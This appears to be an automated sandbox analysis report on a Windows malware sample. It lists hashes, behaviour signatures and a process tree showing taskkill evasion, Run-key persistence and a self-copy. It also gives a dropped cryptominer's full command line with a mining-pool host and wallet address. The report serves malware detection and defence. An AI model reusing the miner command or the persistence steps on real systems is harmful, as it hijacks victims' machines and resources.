Analysis

  • max time kernel
    156s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2022 23:40

General

  • Target

    da90aebcc0d981ed6c0f5a0c031751b0858f7b4accd571ac2acdfc7b496d9740.exe

  • Size

    4.8MB

  • MD5

    52892e52a02453b4b4c19243aa2d6ac7

  • SHA1

    d1ad866e6ca77d3fbe7252db58528240f7c444db

  • SHA256

    da90aebcc0d981ed6c0f5a0c031751b0858f7b4accd571ac2acdfc7b496d9740

  • SHA512

    16c15f63c585a459b3e83482e4171fe5b86a8bd6e142636618b7f2240d47fd59813abb44f2bec59735f7711b8b8cc02e14a9eca7d0a4a2f339f158244b24716b

  • SSDEEP

    98304:Pcj2HBOSbXcjxJyKFnbU2rsygBuyz0ANbXBdijekvX4jtfKillblA7CjmiU/F7KY:kaEaXWYUnA2rsNLWPX4Bv0CmiU92w

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • VMProtect packed file 4 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 8 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\da90aebcc0d981ed6c0f5a0c031751b0858f7b4accd571ac2acdfc7b496d9740.exe
    "C:\Users\Admin\AppData\Local\Temp\da90aebcc0d981ed6c0f5a0c031751b0858f7b4accd571ac2acdfc7b496d9740.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im CheckServer.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4320
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im cmd.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4508
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im WerFault.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4148
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im exceptionfilter.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4824
    • C:\Users\Admin\AppData\Roaming\RaiseException\ntsmss.exe
      "C:\Users\Admin\AppData\Roaming\RaiseException\ntsmss.exe" C:\Users\Admin\AppData\Local\Temp\da90aebcc0d981ed6c0f5a0c031751b0858f7b4accd571ac2acdfc7b496d9740.exe
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Adds Run key to start application
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im CheckServer.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1672
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im cmd.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:604
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im WerFault.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4992
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im exceptionfilter.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4664
      • C:\Users\Admin\AppData\Local\Temp\svchost.exe
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe" -a cryptonight -o stratum+tcp://pool.cryptoescrow.eu:3333 -u 46sSETXrZGT8bupxdc2MAbLe3PMV9nJTRTE5uaFErXFz6ymyzVdH86KDb9TNoG4ny5QLELfopynWeBSMoT1M2Ga8RBkDqTH -p x -t 2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        PID:3768

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\MSVCR100.dll

    Filesize

    809KB

    MD5

    366fd6f3a451351b5df2d7c4ecf4c73a

    SHA1

    50db750522b9630757f91b53df377fd4ed4e2d66

    SHA256

    ae3cb6c6afba9a4aa5c85f66023c35338ca579b30326dd02918f9d55259503d5

    SHA512

    2de764772b68a85204b7435c87e9409d753c2196cf5b2f46e7796c99a33943e167f62a92e8753eaa184cd81fb14361e83228eb1b474e0c3349ed387ec93e6130

  • C:\Users\Admin\AppData\Local\Temp\libcurl.dll

    Filesize

    341KB

    MD5

    d1c5379a98047acadaf97b35dcb239e3

    SHA1

    9b60fcab990cbbb237b15e6a52e29ffabca13760

    SHA256

    90100f13e683e8ea8196a938a9f1aad8888211a395afaba6bb55359767e00f26

    SHA512

    acd489256514510ff23500d9340533d4dac3e362d8f38ebf9e46fffb051b75bfd844e325ffd39b980114f718e09b3cdf01716600e14d9263ad139e0119bec841

  • C:\Users\Admin\AppData\Local\Temp\libcurl.dll

    Filesize

    341KB

    MD5

    d1c5379a98047acadaf97b35dcb239e3

    SHA1

    9b60fcab990cbbb237b15e6a52e29ffabca13760

    SHA256

    90100f13e683e8ea8196a938a9f1aad8888211a395afaba6bb55359767e00f26

    SHA512

    acd489256514510ff23500d9340533d4dac3e362d8f38ebf9e46fffb051b75bfd844e325ffd39b980114f718e09b3cdf01716600e14d9263ad139e0119bec841

  • C:\Users\Admin\AppData\Local\Temp\msvcr100.dll

    Filesize

    809KB

    MD5

    366fd6f3a451351b5df2d7c4ecf4c73a

    SHA1

    50db750522b9630757f91b53df377fd4ed4e2d66

    SHA256

    ae3cb6c6afba9a4aa5c85f66023c35338ca579b30326dd02918f9d55259503d5

    SHA512

    2de764772b68a85204b7435c87e9409d753c2196cf5b2f46e7796c99a33943e167f62a92e8753eaa184cd81fb14361e83228eb1b474e0c3349ed387ec93e6130

  • C:\Users\Admin\AppData\Local\Temp\msvcr100.dll

    Filesize

    809KB

    MD5

    366fd6f3a451351b5df2d7c4ecf4c73a

    SHA1

    50db750522b9630757f91b53df377fd4ed4e2d66

    SHA256

    ae3cb6c6afba9a4aa5c85f66023c35338ca579b30326dd02918f9d55259503d5

    SHA512

    2de764772b68a85204b7435c87e9409d753c2196cf5b2f46e7796c99a33943e167f62a92e8753eaa184cd81fb14361e83228eb1b474e0c3349ed387ec93e6130

  • C:\Users\Admin\AppData\Local\Temp\pthreadVC2.dll

    Filesize

    81KB

    MD5

    4a502706d149c2f5854131a7758a90e2

    SHA1

    845842f909769a673138553748ad09e609ec3e17

    SHA256

    0e6af724609ef6846982ef717013426c359c455fff324e906d8d55c8bb88d16e

    SHA512

    1cdc7d92dfee299850fe8703509e3cf33470470d239b27ca9d5760d3fd01775c3512b80e4b9bdca9f782c2193be0c0a554c1bb37c1a99e435e96e14902386161

  • C:\Users\Admin\AppData\Local\Temp\pthreadVC2.dll

    Filesize

    81KB

    MD5

    4a502706d149c2f5854131a7758a90e2

    SHA1

    845842f909769a673138553748ad09e609ec3e17

    SHA256

    0e6af724609ef6846982ef717013426c359c455fff324e906d8d55c8bb88d16e

    SHA512

    1cdc7d92dfee299850fe8703509e3cf33470470d239b27ca9d5760d3fd01775c3512b80e4b9bdca9f782c2193be0c0a554c1bb37c1a99e435e96e14902386161

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe

    Filesize

    210KB

    MD5

    f269f2f43288c764d42ad78a6f2b09cb

    SHA1

    aefafdcb035f361e8786ce4e10e122684c674cbe

    SHA256

    3017c9c2d33d932e7180103cf86996d0df6de73c86eebd3f6425be188d8bcb93

    SHA512

    278f11d99ef8f393155151031273550de66526220f790646c343a7ce0114f37a4758d575e17ffeab74a5ccb77a8f139577ee0513478704f6422a0543b73a4b5d

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe

    Filesize

    210KB

    MD5

    f269f2f43288c764d42ad78a6f2b09cb

    SHA1

    aefafdcb035f361e8786ce4e10e122684c674cbe

    SHA256

    3017c9c2d33d932e7180103cf86996d0df6de73c86eebd3f6425be188d8bcb93

    SHA512

    278f11d99ef8f393155151031273550de66526220f790646c343a7ce0114f37a4758d575e17ffeab74a5ccb77a8f139577ee0513478704f6422a0543b73a4b5d

  • C:\Users\Admin\AppData\Roaming\RaiseException\ntsmss.exe

    Filesize

    4.8MB

    MD5

    52892e52a02453b4b4c19243aa2d6ac7

    SHA1

    d1ad866e6ca77d3fbe7252db58528240f7c444db

    SHA256

    da90aebcc0d981ed6c0f5a0c031751b0858f7b4accd571ac2acdfc7b496d9740

    SHA512

    16c15f63c585a459b3e83482e4171fe5b86a8bd6e142636618b7f2240d47fd59813abb44f2bec59735f7711b8b8cc02e14a9eca7d0a4a2f339f158244b24716b

  • C:\Users\Admin\AppData\Roaming\RaiseException\ntsmss.exe

    Filesize

    4.8MB

    MD5

    52892e52a02453b4b4c19243aa2d6ac7

    SHA1

    d1ad866e6ca77d3fbe7252db58528240f7c444db

    SHA256

    da90aebcc0d981ed6c0f5a0c031751b0858f7b4accd571ac2acdfc7b496d9740

    SHA512

    16c15f63c585a459b3e83482e4171fe5b86a8bd6e142636618b7f2240d47fd59813abb44f2bec59735f7711b8b8cc02e14a9eca7d0a4a2f339f158244b24716b

  • memory/604-148-0x0000000000000000-mapping.dmp

  • memory/1672-147-0x0000000000000000-mapping.dmp

  • memory/1996-144-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/1996-145-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/1996-146-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/1996-163-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/1996-140-0x0000000000000000-mapping.dmp

  • memory/3768-164-0x0000000180000000-0x00000001800C2000-memory.dmp

    Filesize

    776KB

  • memory/3768-161-0x0000000180000000-0x00000001800C2000-memory.dmp

    Filesize

    776KB

  • memory/3768-151-0x0000000000000000-mapping.dmp

  • memory/4148-137-0x0000000000000000-mapping.dmp

  • memory/4204-139-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/4204-143-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/4204-134-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/4204-133-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/4204-132-0x0000000000400000-0x0000000000EAA000-memory.dmp

    Filesize

    10.7MB

  • memory/4320-135-0x0000000000000000-mapping.dmp

  • memory/4508-136-0x0000000000000000-mapping.dmp

  • memory/4664-150-0x0000000000000000-mapping.dmp

  • memory/4824-138-0x0000000000000000-mapping.dmp

  • memory/4992-149-0x0000000000000000-mapping.dmp